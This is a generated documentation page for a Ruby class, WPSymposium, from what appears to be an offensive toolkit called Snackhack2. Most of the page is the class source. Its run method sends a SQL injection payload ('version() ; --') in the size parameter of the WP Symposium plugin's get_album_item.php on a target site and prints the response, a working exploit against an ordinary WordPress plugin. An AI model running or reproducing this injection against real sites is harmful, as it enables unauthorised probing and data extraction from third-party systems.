Class: Snackhack2::WPSymposium

Inherits:
Object
  • Object
show all
Defined in:
lib/snackhack2/WP_Symposium.rb

Instance Method Summary collapse

Constructor Details

#initialize(site) ⇒ WPSymposium



8
9
10
# File 'lib/snackhack2/WP_Symposium.rb', line 8

def initialize(site)
  @site = site
end

Instance Method Details

#runObject



12
13
14
15
16
17
18
19
20
# File 'lib/snackhack2/WP_Symposium.rb', line 12

def run
  wp = Snackhack2::get(File.join(@site,
                                 '/wp-content/plugins/wp-symposium/get_album_item.php?size=version%28%29%20;%20--'))
  if wp.code == 200
    puts wp.body
  else
    puts "[+] HTTP Code: #{wp.code}"
  end
end